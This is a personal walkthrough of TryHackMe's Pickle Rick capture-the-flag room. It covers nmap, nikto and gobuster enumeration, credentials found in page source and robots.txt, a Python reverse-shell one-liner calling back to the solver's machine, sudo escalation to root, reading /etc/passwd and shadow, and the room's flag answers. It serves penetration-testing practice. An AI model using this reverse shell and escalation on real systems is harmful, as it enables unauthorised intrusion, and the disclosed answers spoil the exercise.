Pickle Rick CTF Write-Up 🥒

> Pickle Rick CTF (TryHackMe)

Setting up the box

I would recommend to play the box using openvpn rather than accessing the AttackBox. There are a couple of reasons for this:

1. Services may not be updated, thereby occasional vulnerabilities may not be visible as the detection tools are not up to date
2. Difficulty in maneuvering the interface, as you are much more suited to your personal VM

How to start this box from your VM?

Firstly go to the website and download the configuration file. You can either do this on your Virtual Machine or download it in your PC and share it to the VM using “Shared folder”

1. Click on your profile and choose “Access”.
   
   
   
   
   
2. From this page you can see both the “Server status” and “Connection”
   
3. From here choose the server which you are closest to (quick google search will do the job), and download the configuration file
   
   
   
   
   
4. Run the config file from its location. (if your current working directory is where the config file is located run your .ovpn file as such)
   

   sudo openvpn james.ovpn
   
   
5. Once you see this line it means your connected and you see status as “connected” from line (3)

       6. To check the Ip of your machine in their network type “ip a” and this will show up in “tun0”                   interface

Your are now connected, enabling you to access the machine using “openvpn”

Discovery & Scanning

Once you start the machine, after a minute you will receive the target IP address

We can search for services running on the open ports, as well as the O.S. version with the help of nmap. There are a couple of ways to execute the flags, personally I use this format.

nmap -sC -sV -oN initial_scan <TARGET-IP>

-sC → Default Script Scan

-sV → Service Version Detection

-oN → Save output to a text file (saves the name as initial_scan in the current directory)

Output of the scan:

From this output we identify that the machine has port 80 and 22 open, since we have http port 80 open we can search for misconfigurations, vulnerabilities and hidden files using a tool called nikto.

nikto -h http://10.10.79.213 | tee nikto.log

tee → outputs the result to the terminal as well as saves the output into the file called nikto.log

This wasn’t very much effective.

We can find more information if we access the site using a web browser such as firefox using http://<attack box ip>. By viewing the “page source” we can identify the username as such. (R1ckRul3s )

Moving on we can identify most of the directories within this site using the gobuster tool.

gobuster dir -u http://<TARGET-IP> -w /usr/share/wordlist/dirbuster/directory -x http,php,css,js,sh,py,txt

dir → specifies directory/file enumeration mode

-u → The target URL

-w → Path to the wordlist

-x → File extension(s) to search for

output: 

We can identify that there is a directory named robots.txt, we can access this from the web browser and go to the specific page (Wubbalubbadubdub)

We could try this text with the username we obtained earlier as credentials to the login page.

1st Ingredient

Once we login we are presented with a command panel, our own terminal emulator, using this we can search for files using ls however it is important to note that some commands are restricted such as cat (as an alternative to this command we can make use of less).

Using ‘ls’ we can find the first ingredient as “Sup3rS3cretPickl3Ingred.txt” to read the contents of this file use command ‘less’

We can also read the clue.txt file to get the hint for the next ingredient, which specifies this message

2nd Ingredient

To get the 2nd ingredient you need to use a reverse shell and gain access with the help of netcat.

Firstly we need to ensure that python is running on the target system to identify this we can use ‘which python3’, once we know that it is in fact installed we can pop a shell using a one liner from pentestmonkey. Before popping a shell we need to use netcat to listen on a chosen port such as port no.9188

nc -nvlp 9188 (Executing netcat on your host machine to listen to traffic on port 9188)

Now head over to pentestmonkey(https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) and access the python one-liner and update it with your system ip, you can view this easily using ‘ip a’ (Use the tun0 ip address) 

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.17.63.215",9188));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

(On your terminal emulator in the website, parts that are changed such as the python version, hostIP address and port numbers are underlined this can be updated accordingly)

Once we hit execute we should get a shell on our system, using this we could easily traverse through the filesystem, once in we could check details such as ‘whoami’ and ‘sudo -l’ which specifies that we are the root user hence we can escalate our privileges to root using ‘sudo su’, we could also access the /etc/passwd and shadow file to gain more information. From here on we need to access the users in the device using ‘ls /home’ here we find a user known as rick ‘cd’ over to this user and here you will find a file with spaces, to access this file you need to include the spaces as well or else the terminal will recognize your command as 2 different file names, hence we need to use ‘cat “second ingredient”’ using this we can find the 2nd ingredient (1 jerry tear)

3rd Ingredient

The 3rd ingredient can be found in the root folder ‘cd root’ and then cat out the 3rd.txt file using less to reveal “fleeb juice” as the 3rd ingredient

Once we find the 3 ingredient we are now officially done with this box

Key takeaways

• Implementing reverse shells
• Executing a nikto scans & gobuster scans
  
  

Hopefully, you all gained some knowledge from reading my article.

## ADIOS AMIGOS ##